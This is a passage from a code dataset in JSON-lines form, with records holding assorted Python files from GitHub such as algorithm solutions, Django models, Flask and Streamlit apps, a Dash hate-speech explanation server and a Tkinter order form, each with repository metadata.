581.4K\n# Testcase Example: '[[1,3],[2,6],[8,10],[15,18]]'\n#\n# Given a collection of intervals, merge all overlapping intervals.\n# \n# \n# For example,\n# Given [1,3],[2,6],[8,10],[15,18],\n# return [1,6],[8,10],[15,18].\n# \n#\n# Definition for an interval.\n# class Interval(object):\n# def __init__(self, s=0, e=0):\n# self.start = s\n# self.end = e\n\nclass Solution(object):\n def merge(self, intervals):\n \"\"\"\n :type intervals: List[Interval]\n :rtype: List[Interval]\n \"\"\"\n # 3 star.\n intervals.sort(key=lambda x:x.start)\n rs = []\n for i in intervals:\n if not rs:\n rs.append(i)\n else:\n last = rs[-1]\n if i.start > last.end:\n rs.append(i)\n else:\n last.end = max(last.end, i.end)\n return rs\n","repo_name":"goalong/lc","sub_path":"v1/56.merge-intervals.133306213.ac.py","file_name":"56.merge-intervals.133306213.ac.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"8260243769","text":"\"\"\"Enumeration of formats.\"\"\"\nfrom __future__ import annotations\n\nfrom enum import Enum, auto\nfrom typing import Dict\n\nfrom imagesearch.exceptions import UnknownFormatException\n\n\nclass Format(Enum):\n \"\"\"Formats for output.\"\"\"\n\n TEXT = auto()\n JSON = auto()\n\n @classmethod\n def from_name(cls, name: str) -> Format:\n \"\"\"Returns an format by name.\"\"\"\n name_map: Dict[str, Format] = {\n format_.name.lower(): format_ for format_ in list(Format)\n }\n name_normalized = name.lower()\n if name_normalized not in name_map:\n raise UnknownFormatException(f\"No format with name {name}\")\n return name_map[name_normalized]\n\n @classmethod\n def supported_names(cls) -> str:\n \"\"\"Returns a comma-separated string of all the format names.\"\"\"\n return \", \".join(format_.name.lower() for format_ in list(Format))\n","repo_name":"t-mart/imagesearch","sub_path":"imagesearch/cli/format.py","file_name":"format.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"33639172449","text":"import sys\r\ninput = sys.stdin.readline\r\nsys.setrecursionlimit(10**7)\r\n\r\n\r\ndef dfs(a, b, c):\r\n global hn\r\n if l1[a][b+1] == 1 and (visited[a][b+1] == 0):\r\n visited[a][b+1] = c\r\n hn += 1\r\n dfs(a, b+1, c)\r\n if l1[a+1][b] == 1 and (visited[a+1][b] == 0):\r\n visited[a+1][b] = c\r\n hn += 1\r\n dfs(a+1, b, c)\r\n if l1[a-1][b] == 1 and (visited[a-1][b] == 0):\r\n visited[a-1][b] = c\r\n hn += 1\r\n dfs(a-1, b, c)\r\n if l1[a][b-1] == 1 and (visited[a][b-1] == 0):\r\n visited[a][b-1] = c\r\n hn += 1\r\n dfs(a, b-1, c)\r\n\r\n\r\nn = int(input())\r\nl1 = [[0]*(n+2) for _ in range(n+2)]\r\nvisited = [[0]*(n+2) for _ in range(n+2)]\r\ncnt = 1\r\n\r\nfor i in range(n):\r\n tmp = input()\r\n for j in range(n):\r\n l1[i+1][j+1] = int(tmp[j])\r\n\r\n\r\nhl = []\r\nfor i in range(1, n+1):\r\n for j in range(1, n+1):\r\n if l1[i][j] == 1 and visited[i][j] == 0:\r\n hn = 0\r\n dfs(i, j, cnt)\r\n if hn == 0:\r\n hn = 1\r\n hl.append(hn)\r\n cnt += 1\r\n\r\nhl.sort()\r\nprint(len(hl))\r\nfor i in hl:\r\n print(i)\r\n\r\n\r\n","repo_name":"tfer2442/myAlgorithm","sub_path":"백준/Silver/2667. 단지번호붙이기/단지번호붙이기.py","file_name":"단지번호붙이기.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10584968675","text":"# textmyself.py - Defines the textmyself() function that texts a message\n# passed to it as a string\n# This module must be imported as \"textmyself\" in order to run other scripts\n\n#Preset values: place the values for your account here\naccountSID = '############'\nauthToken = '#############'\ntwilioNumber = '##########'\nmyNumber = '###########'\n\nfrom twilio.rest import TwilioRestClient\n\ndef textmyself(message):\n twilioCli = TwilioRestClient(accountSID, authToken)\n twilioCli.messages.create(body=message, from_=twilioNumber, to=myNumber)\n","repo_name":"ezhuang13/PredictIt-Betting","sub_path":"Textmyself/textmyself.py","file_name":"textmyself.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"61"} +{"seq_id":"12642748728","text":"from django.db import models\nfrom django.utils import timezone\nfrom datetime import timedelta\nfrom django.contrib import admin\n\n\nfrom django.utils.functional import cached_property\n\nclass User(models.Model):\n\tid = models.CharField(primary_key=True, verbose_name=\"아이디\",max_length=200)\n\tuser_name = models.CharField(verbose_name=\"이름\",max_length=200)\n\tuser_pass = models.CharField(verbose_name=\"비밀번호\",max_length=200)\n\trecent_login = models.DateTimeField( verbose_name=\"최근 로그인\", )\n\tupdated_at = models.DateTimeField(auto_now=True, verbose_name=\"수정일\", )\n\tcreated_at = models.DateTimeField(auto_now_add=True, verbose_name=\"생성일\", )\n\tuser_img_url = models.CharField(verbose_name=\"유저 이미지 주소\",max_length=200, null=True, blank=True)\n \n\tfriend = models.ManyToManyField(\"self\", blank=True)\n \n \n\tachives = models.ManyToManyField(\n 'Achivement', through='UserAchivement')\n \n \n\tdef achivesAll(self):\n\t\treturn self.achives.all()\n \n\tdef __str__(self):\n\t\treturn f\"{self.id} ({self.user_name})\"\n\n\t@admin.display(\n\t\tboolean=True,\n \t\tdescription=\"최근 로그인 여부\"\n\t)\n\tdef isRecentlyLogined(self):\n\t\trecent = timezone.now() - timedelta(days=10)\n\t\treturn self.recent_login > recent\n\t\t\n\tclass Meta:\n\t\tmanaged = True\n\t\tdb_table = 'user' \n\t\tverbose_name_plural = '유저' \n \n \nclass Address(models.Model):\n\tid = models.AutoField(primary_key=True)\n\taddr1 = models.CharField(verbose_name=\"주소 1\",max_length=200)\n\taddr2 = models.CharField(verbose_name=\"주소 2\",max_length=200)\n\tpostcode = models.CharField(verbose_name=\"우편번호\",max_length=200)\n\tupdated_at = models.DateTimeField(auto_now=True, verbose_name=\"수정일\", )\n\tcreated_at = models.DateTimeField(auto_now_add=True, verbose_name=\"생성일\", )\n\n\tuser_id = models.ForeignKey(User, on_delete=models.CASCADE, db_column=\"user_id\", related_name=\"userAddr\")\n \n\tdef __str__(self):\n\t\treturn f\"[{self.postcode}] {self.addr1},{self.addr2}\"\n\n\n\tclass Meta:\n\t\tmanaged = True\n\t\tdb_table = 'address' \n\t\tverbose_name_plural = '주소' \n \n \nclass Achivement(models.Model):\n\tid = models.AutoField(primary_key=True)\n\tachiv_name = models.CharField(verbose_name=\"업적명\",max_length=200)\n \n\tdef __str__(self):\n\t\treturn f\"{self.achiv_name}\"\n\n\tclass Meta:\n\t\tmanaged = True\n\t\tdb_table = 'achivement' \n\t\tverbose_name_plural = '업적' \n \nclass UserAchivement(models.Model):\n\tid = models.AutoField(primary_key=True)\n\tuser_id= models.ForeignKey(User, on_delete=models.CASCADE, db_column=\"user_id\", related_name=\"userAchiv_user\")\n\tachiv_id= models.ForeignKey(Achivement, on_delete=models.CASCADE, db_column=\"achiv_id\", related_name=\"userAchiv_achiv\")\n\tvisible_chk= models.BooleanField(default=True)\n \n\tdef __str__(self):\n\t\treturn f\"{self.user_id}_{self.achiv_id}\"\n\n\tclass Meta:\n\t\tmanaged = True\n\t\tdb_table = 'user_achivement' \n\t\tverbose_name_plural = '유저-업적' \n \n \n \nclass Survey(models.Model):\n\tid = models.AutoField(primary_key=True)\n\tsurv_name = models.CharField(verbose_name=\"설문조사명\",max_length=200)\n\tupdated_at = models.DateTimeField(auto_now=True, verbose_name=\"수정일\", )\n\tcreated_at = models.DateTimeField(auto_now_add=True, verbose_name=\"생성일\", )\n \n\tdef __str__(self):\n\t\treturn f\"{self.surv_name}\"\n\n\tclass Meta:\n\t\tmanaged = True\n\t\tdb_table = 'survey' \n\t\tverbose_name_plural = '설문조사' \n \nclass SurveyQ(models.Model):\n\tid = models.AutoField(primary_key=True)\n\tsurv_id= models.ForeignKey(Survey, on_delete=models.CASCADE, db_column=\"surv_id\", related_name=\"surv_survQ\")\n\tsurv_q_content= models.CharField(verbose_name=\"설문조사 질문\",max_length=200)\n\tupdated_at = models.DateTimeField(auto_now=True, verbose_name=\"수정일\", )\n\tcreated_at = models.DateTimeField(auto_now_add=True, verbose_name=\"생성일\", )\n \n \n\tdef __str__(self):\n\t\treturn f\"[{self.surv_id}]{self.surv_q_content}\"\n\n\tclass Meta:\n\t\tmanaged = True\n\t\tdb_table = 'survey_q' \n\t\tverbose_name_plural = '설문조사 질문' \n \nclass SurveyA(models.Model):\n\tid = models.AutoField(primary_key=True)\n\tsurv_q_id= models.ForeignKey(SurveyQ, on_delete=models.CASCADE, db_column=\"surv_q_id\", related_name=\"survQ_survA\")\n\tuser_id= models.ForeignKey(User, on_delete=models.CASCADE, db_column=\"user_id\", related_name=\"user_survA\")\n\tsurv_a_content= models.CharField(verbose_name=\"설문조사 응답\",max_length=200)\n\tcreated_at = models.DateTimeField(auto_now_add=True, verbose_name=\"생성일\", )\n \n\tdef __str__(self):\n\t\treturn f\"[{self.surv_q_id}/{self.user_id}]{self.surv_a_content}\"\n\n\tclass Meta:\n\t\tmanaged = True\n\t\tdb_table = 'survey_a' \n\t\tverbose_name_plural = '설문조사 응답' \n ","repo_name":"hokim2407/django-admin_study","sub_path":"adminpage/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4587,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"18232498724","text":"#add dependencies\nimport datetime as dt\nimport numpy as np\nimport pandas as pd\n\nimport sqlalchemy\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import create_engine, func\n\nfrom flask import Flask, jsonify\n\nengine = create_engine(\"sqlite:///hawaii.sqlite\")\n\nBase = automap_base()\n\nBase.prepare(engine, reflect=True)\n\nMeasurement = Base.classes.measurement\nStation = Base.classes.station\n\nsession = Session(engine)\n\napp = Flask(__name__)\n\n@app.route('/')\n\ndef welcome():\n return(\n '''\n Welcome to the Climate Analysis API!
\n
\n Available Routes:
\n /api/v1.0/precipitation
\n /api/v1.0/stations
\n /api/v1.0/tobs
\n /api/v1.0/temp/start/end\n ''')\n\n@app.route(\"/api/v1.0/precipitation\")\n\ndef precipitation():\n prev_year = dt.date(2017, 8, 23) - dt.timedelta(days=365)\n precipitation = session.query(Measurement.date, Measurement.prcp).\\\n filter(Measurement.date >= prev_year).all()\n precip = {date: prcp for date, prcp in precipitation}\n return jsonify(precip)\n\n@app.route(\"/api/v1.0/stations\")\n\ndef stations():\n results = session.query(Station.station).all()\n stations = list(np.ravel(results))\n return jsonify(stations=stations)\n\n@app.route(\"/api/v1.0/tobs\")\n\ndef temp_monthly():\n prev_year = dt.date(2017, 8, 23) - dt.timedelta(days=365)\n results = session.query(Measurement.tobs).\\\n filter(Measurement.station == 'USC00519281').\\\n filter(Measurement.date >= prev_year).all()\n temps = list(np.ravel(results))\n return jsonify(temps=temps)\n\n@app.route(\"/api/v1.0/temp/\")\n@app.route(\"/api/v1.0/temp//\")\n\ndef stats(start=None, end=None):\n sel = [func.min(Measurement.tobs), func.avg(Measurement.tobs), func.max(Measurement.tobs)]\n\n if not end:\n results = session.query(*sel).\\\n filter(Measurement.date >= start).all()\n temps = list(np.ravel(results))\n return jsonify(temps)\n\n results = session.query(*sel).\\\n filter(Measurement.date >= start).\\\n filter(Measurement.date <= end).all()\n temps = list(np.ravel(results))\n return jsonify(temps)\n\n\n\n","repo_name":"grittins/surfs_up","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2169,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"14064214666","text":"\"\"\"\nProblem:\n Given an array of 1-n digits in unordered fashion.\n You can swap any two elements at a time.\n Calculate the minimum number of swaps required to sort the array.\n\nSolution:\n Iterate through the array once.\n For each element, swap it with its right position.\n Repeat until the element at this position is correct.\n\nComplexity: O(n) since 1 swap for each element\n\"\"\"\n\ndef minimumSwaps(arr):\n swap_count = 0\n print(arr)\n for i in range(len(arr) - 1): # Last position need not be checked\n while arr[i] != i + 1:\n temp = arr[i]\n arr[i] = arr[arr[i] - 1]\n arr[temp - 1] = temp\n swap_count += 1\n print(arr)\n return swap_count\n\nprint(minimumSwaps([4,3,1,2]))\n","repo_name":"uday-agarwal/practice","sub_path":"algo/sort/cyclic_sort/minimum_swaps.py","file_name":"minimum_swaps.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"38554098344","text":"import streamlit as st\r\nimport requests\r\nimport json\r\nimport datetime\r\nimport pytz\r\nimport xml.etree.ElementTree as ET\r\nimport openai\r\n\r\n\r\n# arXiv APIのエンドポイント\r\narxiv_api_url = 'http://export.arxiv.org/api/query'\r\n\r\n\r\ndef parse_xml(xml_data):\r\n # XMLデータを解析してタイトル、要約、投稿日時を抽出する\r\n root = ET.fromstring(xml_data)\r\n papers = []\r\n for entry in root.findall('{http://www.w3.org/2005/Atom}entry'):\r\n title = entry.find('{http://www.w3.org/2005/Atom}title').text\r\n summary = entry.find('{http://www.w3.org/2005/Atom}summary').text\r\n published = entry.find('{http://www.w3.org/2005/Atom}published').text\r\n papers.append({'title':title, 'summary':summary, 'published':published})\r\n return papers\r\n\r\n\r\ndef search_arxiv_papers(query, start_date=None, end_date=None):\r\n # arXiv APIのエンドポイントとパラメータを指定\r\n base_url = 'http://export.arxiv.org/api/query'\r\n\r\n # クエリパラメータの設定\r\n params = {\r\n 'search_query': f'{query} AND submittedDate:[{start_date} TO {end_date}235959]',\r\n 'max_results': 5, # 取得する論文の最大数\r\n 'sortBy': 'relevance', # 関連性に基づいてソート\r\n 'sortOrder': 'descending', # 降順にソート\r\n }\r\n\r\n # APIリクエストを送信してレスポンスを取得\r\n response = requests.get(base_url, params=params)\r\n\r\n if response.status_code == 200:\r\n # レスポンスのXMLデータを解析してタイトルと要約を取得\r\n xml_data = response.content\r\n papers = parse_xml(xml_data)\r\n return papers\r\n else:\r\n print('Failed to fetch papers from arXiv API.')\r\n return []\r\n\r\n\r\ndef generate_summary(text):\r\n # ChatGPT APIを使用して要約を生成\r\n functions = [\r\n {\r\n \"name\": \"output_format\",\r\n \"description\": \"アブストラクトのサマリー\",\r\n \"parameters\": {\r\n \"type\": \"object\",\r\n \"properties\": {\r\n \"short_summary\": {\r\n \"type\": \"string\",\r\n \"description\": \"この研究を一言で表すと\",\r\n },\r\n \"problem\": {\r\n \"type\": \"string\",\r\n \"description\": \"既存研究の問題点や課題は?\",\r\n },\r\n \"how\": {\r\n \"type\": \"string\",\r\n \"description\": \"この研究ではどのようなアプローチを行ったのか?\",\r\n },\r\n \"result\": {\r\n \"type\": \"string\",\r\n \"description\": \"どのような結果や結論が得られたか\",\r\n },\r\n },\r\n \"required\": [\"short_summary\",\"problem\", \"how\", \"result\"],\r\n },\r\n }\r\n ]\r\n content = '''あなたは研究者です。以下の論文の要約文章を読んで、以下の問いに日本語で答えてください。\r\n - この研究を一言で表現すると?\r\n - 既存研究の問題点や課題は?\r\n - この研究ではどのようなアプローチを行ったのか?\r\n - どのような結果や結論が得られたか\r\n '''\r\n \r\n \r\n response = openai.ChatCompletion.create(\r\n model=\"gpt-3.5-turbo-0613\",\r\n functions=functions,\r\n messages=[\r\n {\"role\":\"system\", \"content\":content},#精度はこれがある方がよい\r\n {\"role\": \"user\", \"content\": text},\r\n ],\r\n )\r\n \r\n\r\n \r\n output_msg = response[\"choices\"][0][\"message\"][\"function_call\"][\"arguments\"]\r\n output_dict = json.loads(output_msg)\r\n return output_dict\r\n \r\n \r\ndef set_api():\r\n openai.api_key = st.session_state[\"api_key\"]\r\n\r\n\r\n\r\n\r\ndef main():\r\n st.title('論文要約アプリ')\r\n\r\n #API入力\r\n api_key = st.text_input(\"OpenAI APIキーを入力してください\", on_change=set_api, key='api_key')\r\n\r\n # キーワードの入力\r\n query = st.text_input('キーワードを入力してください')\r\n # 検索期間の指定\r\n start_date_input = st.text_input('開始日をYYYYMMDD形式で入力してください(未入力の場合は直近1週間になります)')\r\n end_date_input = st.text_input('終了日をYYYYMMDD形式で入力してください(未入力の場合は現在日時になります)')\r\n if \"papers\" not in st.session_state:\r\n st.session_state['papers'] = None\r\n \r\n \r\n\r\n # 検索ボタンが押された場合の処理\r\n if st.button('検索', key='search_button'):\r\n if query:\r\n \r\n # JST(日本時間)のタイムゾーンを設定\r\n jst = pytz.timezone('Asia/Tokyo')\r\n\r\n # 現在の日付を取得(JST)\r\n now = datetime.datetime.now(jst)\r\n\r\n # 1週間前の日付を計算\r\n one_week_ago = now - datetime.timedelta(weeks=1)\r\n\r\n # YYYYMMDD形式の文字列をdatetimeオブジェクトに変換\r\n start_date = start_date_input if start_date_input else one_week_ago.strftime('%Y%m%d')\r\n end_date = end_date_input if end_date_input else now.strftime('%Y%m%d')\r\n # arXiv APIを使用して論文を検索\r\n papers = search_arxiv_papers(query, start_date, end_date)\r\n if papers:\r\n st.session_state['papers']= papers\r\n else:\r\n st.warning('該当する論文が見つかりませんでした。')\r\n \r\n # 論文の検索結果を表示\r\n if st.session_state['papers']:\r\n papers = st.session_state['papers']\r\n st.subheader('検索結果')\r\n for i, paper in enumerate(papers, start=1):\r\n title = paper['title']\r\n summary = paper['summary']\r\n published = paper['published']\r\n st.markdown(f'**論文 {i}**')\r\n st.write('**タイトル:**', title)\r\n st.write('**投稿日時:**', published)\r\n st.write('**要約:**', summary)\r\n st.write('---')\r\n \r\n \r\n if st.button(f'ChatGPTに質問する', key=f'question_button_{i}'):\r\n # 論文の要約を生成\r\n st.session_state['papers'][i-1]['paper_summary'] = generate_summary(summary)\r\n paper_summary = paper['paper_summary']\r\n st.write('**この研究を一言で表すと:**', paper_summary['short_summary'])\r\n st.write('**既存研究の問題点や課題は?:**', paper_summary['problem'])\r\n st.write('**この研究ではどのようなアプローチを行ったのか?:**', paper_summary['how'])\r\n st.write('**どのような結果や結論が得られたか?:**', paper_summary['result'])\r\n \r\n\r\n else:\r\n if 'paper_summary' in paper.keys():\r\n # 生成された要約を表示\r\n paper_summary = paper['paper_summary']\r\n st.write('**この研究を一言で表すと:**\\n', paper_summary['short_summary'])\r\n st.write('**既存研究の問題点や課題は?:**', paper_summary['problem'])\r\n st.write('**この研究ではどのようなアプローチを行ったのか?:**', paper_summary['how'])\r\n st.write('**どのような結果や結論が得られたか?:**', paper_summary['result'])\r\n \r\n\r\n \r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"ayurrin/paper_summary","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7454,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72813660034","text":"import csv\nfrom utils import User, r\nfrom net import Classifier\nimport numpy as np\n\nnp.random.seed(1)\nprint(\"1\")\nwith open ('Train/data.csv', 'r') as f:\n training_data = [list(map(float, x)) for x in csv.reader(f)] \n\n\nmeanList = []\nstdList = []\n\nlabels = []\ninfo = []\n\n\nfor item in training_data:\n if len(item[1:]) == 9: #number of statistics on each user\n labels.append(item[0]) #0 = human, 1 = bot\n info.append(item[1:]) #the user's information: do they have \"bot\" in the name? Are they repetitive? ect.\n\n\nprint(\"2\")\n\n\ndef normalize(lists):\n '''\n Calculate the standard deviation and mean for all of the data; this\n is used to normalize new inputs and map the data to a lower range so that\n naturally larger datapoints do not overwhelm the neural network.\n '''\n newLists = []\n x = np.array(lists)\n for idx in range(len(lists[0])): #This loop goes through each column of the data\n y = np.array(x.T[idx])\n meanList.append(y.mean())\n stdList.append(y.std())\n new = (y-y.mean())/y.std() #Calculate new value using Standard Score (Z-Score)\n newLists.append(new.tolist())\n return np.array(newLists).T.tolist() \n\ninfo = normalize(info)\n\nprint(\"3\")\n\ndef normalize_alone(single):\n '''\n Uses the known values to normalize new input, or a single list of\n a user's statistics.\n '''\n newList = []\n x = np.array(single)\n for idx in range(len(single)):\n y = np.array(x[idx])\n new = (y-meanList[idx])/stdList[idx]\n newList.append(new.tolist())\n return np.array(newList).T.tolist()\n\n\nprint(\"4\")\n\ntraining_data = []\nfor idx, item in enumerate(labels):\n training_data.append([item] + info[idx])\n\n\nprint(\"5\")\n\nNN = Classifier(9, 64, 1, 0.15)\nfor x in range(100):\n for item in training_data:\n print(x)\n NN.train(item[1:], item[0]) #Feed example --> Output Guess --> Backpropagate Error --> Adjust weights (see net.py for details)\n\nprint(\"6\")\n\ndef isABot(input_user):\n Test = User(input_user)\n odds = NN.query( normalize_alone(Test.data[1:])) \n return odds[0][0]\n\nprint(\"7\")\n\nisABot(\"redaniket\")","repo_name":"eaniket/rackathon","sub_path":"BotDetection/detector.py","file_name":"detector.py","file_ext":"py","file_size_in_byte":2131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42330831513","text":"import torch\nfrom transformers import pipeline\nfrom transformers import AutoTokenizer, AutoModelForSequenceClassification, AutoModelForCausalLM\nimport shap\nimport pandas as pd\nfrom lime.lime_text import LimeTextExplainer\nimport torch.nn.functional as F\n\n# from models import Model_Rational_Label\n\ntokenizer = AutoTokenizer.from_pretrained(\"Hate-speech-CNERG/bert-base-uncased-hatexplain\")\nmodel = AutoModelForSequenceClassification.from_pretrained(\"Hate-speech-CNERG/bert-base-uncased-hatexplain\")\n\nmodel_path = \"uw-hai/polyjuice\"\npoly_generator = pipeline(\"text-generation\", \n model=AutoModelForCausalLM.from_pretrained(model_path), \n tokenizer=AutoTokenizer.from_pretrained(model_path))\n\n# Run this app with `python app.py` and\n# visit http://127.0.0.1:8050/ in your web browser.\n\nfrom dash import Dash, html, dcc, Input, Output\nimport plotly.express as px\nimport plotly.graph_objs as go\n\nfrom base64 import b64encode\n\nfrom flask_cors import CORS, cross_origin\n\napp = Dash(__name__)\nflask_app = app.server\ncors = CORS(flask_app)\nflask_app.config['CORS_HEADERS'] = 'Content-Type'\n\ndef graphProbs(probs, labels):\n label2color = {'hate speech':'indianred', 'normal':'darkgreen', 'offensive':'gold'}\n colors = [label2color[label] for label in labels]\n fig = go.Figure(data=[go.Pie(labels=labels,\n values=probs,\n hole=0.6,\n )]\n )\n fig.update_traces(\n title=\"Classification Probabilities\",\n hoverinfo='label+percent',\n textinfo='label+percent',\n textfont_size=20,\n marker=dict(colors=colors, line=dict(color='DarkSlateGrey', width=2)))\n return fig\n\napp.layout = html.Div(children=[\n html.H1(children='xHate Explainable Abusive Language Interface'),\n\n html.Div([\n \"Input: \",\n dcc.Input(id='textbox-input', value=\"A dog is embraced by the woman.\", type='text'),\n ]),\n html.Div(id='textbox-output',\n children=[\n dcc.Graph(id='probs_graph', figure={\n 'data': [graphProbs(probs=[0,1,0], labels=['hate speech', 'normal', 'offensive'])],\n 'layout': go.Layout(title=\"Classification Probabilities\")\n }),\n html.H1(children='SHAP_graph'),\n dcc.Graph(id='SHAP_graph', figure=px.bar()),\n html.H1(children='LIME-Dashboard'),\n html.P(id=\"LIME-Dashboard\")\n ]),\n html.Div(id = 'polyjuice-output', \n children = [html.H1(children='Select Polyjuice Control Code'),\n dcc.Dropdown(['negation', 'quantifier', 'shuffle', 'lexical', 'resemantic', 'insert', 'delete', 'restructure'], 'negation', id='demo-dropdown'),\n html.Div(id='dd-output-container'),\n dcc.Graph(id='probs_graph_poly', figure={\n 'data': [graphProbs(probs=[0,1,0], labels=['hate speech', 'normal', 'offensive'])],\n 'layout': go.Layout(title=\"Classification Probabilities\")\n })],\n ),\n])\n \n\ndef predict(text):\n text = str(text)\n inputs = tokenizer(str(text), return_tensors=\"pt\")\n outputs = model(input_ids=inputs['input_ids'], attention_mask=inputs['attention_mask'])\n probs = torch.nn.functional.softmax(outputs.logits, dim=1)\\\n .detach().numpy().astype(float)[0].round(decimals=2)\n return probs\n\n\n@app.callback(\n Output(component_id='probs_graph', component_property='figure'),\n Input(component_id='textbox-input', component_property='value')\n)\ndef updateProbsGraph(input_value):\n res = _predict(input_value)\n labels, probs = res['labels'], res['probs']\n\n if input_value.isspace() or input_value == \"\" or input_value == \"What's happening?\":\n probs = [int(label == 'normal') for label in labels]\n\n probs_graph = graphProbs(probs, labels)\n probs_graph.update_layout(transition_duration=500)\n\n return probs_graph\n\npred = pipeline(\"text-classification\", model=model, tokenizer=tokenizer, top_k=None)\n\ndef _predict(text):\n [results] = pred(text)\n labels = [result['label'] for result in results]\n probs = [result['score'] for result in results]\n\n return {'labels': labels, 'probs': probs}\n\nexplainer = shap.Explainer(pred)\n@app.callback(\n Output(component_id='SHAP_graph', component_property='figure'),\n Input(component_id='textbox-input', component_property='value')\n)\ndef updateSHAP(input_value):\n res = _predict(input_value)\n labels, probs = res['labels'], res['probs']\n label2color = {'hate speech':'indianred', 'normal':'darkgreen', 'offensive':'gold'}\n # colors = [label2color[label] for label in labels]\n\n if input_value.isspace() or input_value == \"\" or input_value == \"What's happening?\":\n probs = [int(label == 'normal') for label in labels]\n\n shap_values = explainer([input_value])\n temp_len = len(shap_values.data[0])\n\n toks = list(shap_values[0,1:temp_len-1,:].data)\n data = {\"Token\": [], 'value': [], 'label': []}\n\n for i, label in enumerate(labels):\n data['Token'] += toks\n data['value'] += list(shap_values[0,1:temp_len-1,i].values)\n data['label'] += [label]*len(toks)\n\n df = pd.DataFrame(data=data)\n\n SHAP_graph = px.bar(df, x='Token', y='value',\n color='label', color_discrete_map=label2color,\n barmode='group')\n return SHAP_graph\n\n@app.callback(\n Output(component_id=\"LIME-Dashboard\", component_property='children'),\n Input(component_id='textbox-input', component_property='value')\n)\ndef update_LIME(text):\n explainer = LimeTextExplainer(class_names=['Hate-Speech', 'Normal', 'Offensive'])\n\n exp = explainer.explain_instance(text, predict_prob)\n\n obj = html.Iframe(\n # Javascript is disabled from running in an Iframe for security reasons\n # Static HTML only!!!\n srcDoc=exp.as_html(),\n width='100%',\n height='150px',\n style={'border': '2px #d3d3d3 solid'},\n )\n return obj\n\ndef predict_prob(text):\n outputs = model(**tokenizer(text, return_tensors=\"pt\", padding=True))\n probas = F.softmax(outputs.logits).detach().numpy()\n return probas\n\n\n@app.callback(\n Output('dd-output-container', 'children'),\n Input('textbox-input', 'value'),\n Input('demo-dropdown', 'value'),\n)\n\ndef generate_polyjuice(text, control_code):\n if not control_code:\n return\n prompt_text = text + \" [\" + control_code + \"]\"\n l = poly_generator(prompt_text, num_return_sequences=1)\n print(l)\n res = \"\"\n print(l[0]['generated_text'])\n if len(l[0]['generated_text'].split(\" [\" + control_code + \"] \")) == 2:\n perturbed = l[0]['generated_text'].split(\" [\" + control_code + \"] \")[1]\n if len(perturbed.split(\" [SEP] \")) < 2:\n back = perturbed.split(\" [SEP] \")\n back_split = back.split(\" [ANSWER] \")\n res = back_split\n else:\n [front, back] = perturbed.split(\" [SEP] \")\n front_split = front.split(\"[BLANK]\")\n back_split = back.split(\" [ANSWER] \")\n print(front, back)\n if len(front_split) == len(back_split):\n for i in range(len(front_split)):\n res += front_split[i]\n res += back_split[i]\n \n return res\n\n@app.callback(\n Output(component_id='probs_graph_poly', component_property='figure'),\n Input(component_id='textbox-input', component_property='value'),\n Input('demo-dropdown', 'value'),\n)\ndef updateProbsGraphPoly(text, control_code):\n input_value = generate_polyjuice(text, control_code)\n res = _predict(input_value)\n labels, probs = res['labels'], res['probs']\n\n if input_value.isspace() or input_value == \"\" or control_code == '':\n probs = [int(label == 'normal') for label in labels]\n\n probs_graph = graphProbs(probs, labels)\n probs_graph.update_layout(transition_duration=500)\n\n return probs_graph\n\n\n@flask_app.route(\"/test\")\n@cross_origin()\ndef getExplainations():\n print(\"/test\", flush=True)\n\n return 0\n\nif __name__ == '__main__':\n print(\"main\", flush=True)\n app.run_server(host=\"0.0.0.0\", debug=True)","repo_name":"YichiRockyZhang/xhate-server","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":8270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23287463336","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('Utility', '0004_auto_20150517_0028'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='consumption',\n name='Charge',\n field=models.IntegerField(default=0),\n ),\n migrations.AlterField(\n model_name='consumption',\n name='KWH_Consumption',\n field=models.IntegerField(default=0),\n preserve_default=False,\n ),\n ]\n","repo_name":"mikeful92/gvilleapp","sub_path":"Utility/migrations/0005_auto_20150519_2251.py","file_name":"0005_auto_20150519_2251.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5645577158","text":"from tkinter import *\r\nfrom tkinter import ttk,Frame,Button,Checkbutton,Radiobutton,IntVar,HORIZONTAL\r\n\r\nwindow=Tk()\r\nwindow.title(\"Food Order Form\")\r\nwindow.geometry(\"400x450\")\r\n\r\ndef result():\r\n order=\"Your order:\"\r\n if sandwich.get()==1: order+=\"Sandwich \"\r\n if salad.get()==1: order+=\"Salad \"\r\n if soup.get()==1: order+=\"Soup \"\r\n if pizza.get()==1: order+=\"Pizza \"\r\n print(order)\r\n pay_method=\"Pay method is \"\r\n if pay.get()==1: pay_method+=\" KBZpay\"\r\n if pay.get()==2: pay_method+=\" Credit card\"\r\n if pay.get()==3: pay_method+=\" Other\"\r\n 